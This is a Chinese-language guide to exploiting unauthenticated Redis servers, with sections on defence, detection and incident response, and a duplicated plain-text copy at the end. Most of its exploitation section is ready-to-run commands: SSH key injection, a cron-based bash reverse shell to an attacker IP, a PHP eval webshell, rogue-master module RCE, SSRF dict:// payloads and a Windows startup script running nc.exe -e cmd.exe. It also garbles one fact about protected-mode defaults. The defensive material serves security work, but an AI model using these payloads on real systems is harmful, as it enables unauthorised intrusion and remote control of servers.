Redis系列漏洞总结
字数 1154 2025-08-15 21:31:56

Redis未授权访问漏洞全面分析与利用指南

一、Redis简介与基本概念

Redis是一个开源的key-value存储系统,支持多种数据结构:

  • 字符串(string)
  • 列表(list)
  • 集合(set)
  • 有序集合(zset)
  • 哈希(hash)

特点:

  • 数据缓存在内存中,保证高效访问
  • 支持数据持久化到磁盘
  • 支持主从复制(master-slave)模式

二、Redis常见命令

基本操作命令

SET key value       # 设置键值
GET key             # 获取键值
KEYS *              # 列出所有键
FLUSHALL            # 删除所有数据
DEL key             # 删除指定键
SAVE                # 手动触发数据持久化

配置相关命令

CONFIG SET dir /path/to/dir      # 设置持久化目录
CONFIG SET dbfilename filename   # 设置持久化文件名
CONFIG GET dir                   # 查看当前目录
CONFIG GET dbfilename            # 查看当前文件名
CONFIG SET protected-mode no     # 关闭保护模式

三、Redis未授权访问漏洞原理

Redis默认配置存在以下安全隐患:

  1. 默认绑定0.0.0.0(所有网络接口)
  2. 默认无密码认证
  3. 默认protected-mode关闭(3.2版本后新增)
  4. 可以动态修改持久化目录和文件名

四、漏洞利用方式

1. 写入SSH公钥实现未授权登录

前提条件

  • Redis以root权限运行
  • 目标服务器开启SSH服务并允许密钥认证

利用步骤

  1. 本地生成SSH密钥对:
ssh-keygen -t rsa
  1. 将公钥写入Redis:
config set dir /root/.ssh/
config set dbfilename authorized_keys
set xz "\n\n<公钥内容>\n\n"
save
  1. 使用私钥SSH登录:
ssh -i id_rsa root@目标IP

2. 利用计划任务反弹Shell

前提条件

  • Redis以root权限运行
  • 目标系统使用crontab计划任务

利用步骤

  1. 攻击机监听端口:
nc -lvp 8888
  1. 通过Redis写入计划任务:
config set dir /var/spool/cron/
config set dbfilename root
set xz "\n* * * * * bash -i >& /dev/tcp/攻击IP/8888 0>&1\n"
save

注意:Ubuntu系统可能存在乱码问题,建议在CentOS上测试

3. 直接写入Webshell

前提条件

  • 知道网站绝对路径
  • 有目录写权限
  • Redis以root或Web服务器用户运行

利用步骤

config set dir /var/www/html/
config set dbfilename shell.php
set xz "\n\n<?php @eval($_POST['cmd']);?>\n\n"
save

4. 主从复制RCE

前提条件

  • Redis版本4.x-5.0.5
  • Redis以root权限运行

利用步骤

  1. 设置主从关系:
slaveof 攻击IP 6379
  1. 使用工具生成恶意.so文件:
git clone https://github.com/n0b0dyCN/redis-rogue-server
cd RedisModulesSDK
make
  1. 执行攻击:
python3 redis-rogue-server.py --rhost 目标IP --lhost 攻击IP --exp module.so

5. 结合SSRF利用

前提条件

  • 存在SSRF漏洞
  • 目标支持dict协议

利用方式

dict://目标IP:6379/slaveof:攻击IP:6379
dict://目标IP:6379/config:set:dir:/var/www/html
dict://目标IP:6379/config:set:dbfilename:ssrf.php
dict://目标IP:6379/save

五、Windows系统下的利用

  1. 写入Webshell:同Linux方式
  2. 写入启动项
config set dir "C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/"
config set dbfilename shell.bat
set xz "\n\n@echo off\nnc.exe 攻击IP 端口 -e cmd.exe\n\n"
save
  1. 写入MOF文件(Windows 2003):
config set dir /etc/
config set dbfilename root.mof
set xz "\n\n#PRAGMA NAMESPACE (\\\\.\\root\\subscription] ...\n\n"
save

六、漏洞防御方案

  1. 网络层防护

    • 修改bind配置为127.0.0.1
    bind 127.0.0.1
    
    • 启用防火墙限制访问IP
  2. 认证加固

    • 设置强密码
    requirepass 复杂密码
    
    • 禁用高危命令
    rename-command FLUSHALL ""
    rename-command CONFIG ""
    rename-command EVAL ""
    
  3. 权限控制

    • 使用非root用户运行Redis
    groupadd -r redis && useradd -r -g redis redis
    
  4. 文件保护

    • 保护SSH authorized_keys文件
    chmod 400 ~/.ssh/authorized_keys
    chattr +i ~/.ssh/authorized_keys
    chattr +i ~/.ssh
    
  5. 其他配置

    • 修改默认端口
    port 非标准端口
    
    • 启用protected-mode(Redis 3.2+)
    protected-mode yes
    

七、检测工具

  1. 批量检测脚本

  2. 手动检测

redis-cli -h 目标IP
> info  # 查看信息
> config get dir  # 尝试获取配置

八、应急响应建议

发现Redis未授权访问漏洞后:

  1. 立即修改Redis配置并重启服务
  2. 检查服务器是否有异常用户、进程和文件
  3. 检查计划任务和启动项
  4. 检查SSH authorized_keys文件
  5. 更新系统补丁和安全配置

通过以上全面的防护措施,可以有效降低Redis服务的安全风险。

Redis未授权访问漏洞全面分析与利用指南 一、Redis简介与基本概念 Redis是一个开源的key-value存储系统,支持多种数据结构: 字符串(string) 列表(list) 集合(set) 有序集合(zset) 哈希(hash) 特点: 数据缓存在内存中,保证高效访问 支持数据持久化到磁盘 支持主从复制(master-slave)模式 二、Redis常见命令 基本操作命令 配置相关命令 三、Redis未授权访问漏洞原理 Redis默认配置存在以下安全隐患: 默认绑定0.0.0.0(所有网络接口) 默认无密码认证 默认protected-mode关闭(3.2版本后新增) 可以动态修改持久化目录和文件名 四、漏洞利用方式 1. 写入SSH公钥实现未授权登录 前提条件 : Redis以root权限运行 目标服务器开启SSH服务并允许密钥认证 利用步骤 : 本地生成SSH密钥对: 将公钥写入Redis: 使用私钥SSH登录: 2. 利用计划任务反弹Shell 前提条件 : Redis以root权限运行 目标系统使用crontab计划任务 利用步骤 : 攻击机监听端口: 通过Redis写入计划任务: 注意 :Ubuntu系统可能存在乱码问题,建议在CentOS上测试 3. 直接写入Webshell 前提条件 : 知道网站绝对路径 有目录写权限 Redis以root或Web服务器用户运行 利用步骤 : 4. 主从复制RCE 前提条件 : Redis版本4.x-5.0.5 Redis以root权限运行 利用步骤 : 设置主从关系: 使用工具生成恶意.so文件: 执行攻击: 5. 结合SSRF利用 前提条件 : 存在SSRF漏洞 目标支持dict协议 利用方式 : 五、Windows系统下的利用 写入Webshell :同Linux方式 写入启动项 : 写入MOF文件 (Windows 2003): 六、漏洞防御方案 网络层防护 : 修改bind配置为127.0.0.1 启用防火墙限制访问IP 认证加固 : 设置强密码 禁用高危命令 权限控制 : 使用非root用户运行Redis 文件保护 : 保护SSH authorized_ keys文件 其他配置 : 修改默认端口 启用protected-mode(Redis 3.2+) 七、检测工具 批量检测脚本 : hackredis 手动检测 : 八、应急响应建议 发现Redis未授权访问漏洞后: 立即修改Redis配置并重启服务 检查服务器是否有异常用户、进程和文件 检查计划任务和启动项 检查SSH authorized_ keys文件 更新系统补丁和安全配置 通过以上全面的防护措施,可以有效降低Redis服务的安全风险。